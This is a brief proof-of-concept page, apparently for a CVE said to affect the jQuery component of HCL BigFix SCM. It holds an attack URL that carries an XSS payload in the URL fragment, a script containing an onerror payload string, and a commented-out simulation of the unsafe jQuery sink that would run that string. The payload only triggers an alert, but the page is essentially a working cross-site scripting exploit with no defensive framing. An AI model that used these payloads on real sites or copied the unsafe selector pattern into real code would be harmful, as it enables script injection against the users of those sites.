CVE-2026-21821 HCL BigFix SCM jQuery组件漏洞

<!-- PoC for jQuery 1.x XSS vulnerability --> <!-- Scenario: The application uses $(location.hash) or similar unsafe selector --> <!-- Attack URL: http://vulnerable-site/page.html#<img src=x onerror=alert(1)> --> <script> // This script simulates the vulnerable behavior in jQuery 1.x // If the target page includes code like: $(location.hash).appendTo('body'); // The payload inside the hash will be executed. // Malicious payload: var payload = "<img src=x onerror=alert('CVE-2026-21821 PoC')>"; // In a real attack, this would be part of the URL fragment. console.log("Payload to inject: " + payload); // Vulnerable jQuery code simulation: // $(payload).appendTo('body'); // This triggers the XSS in old jQuery </script>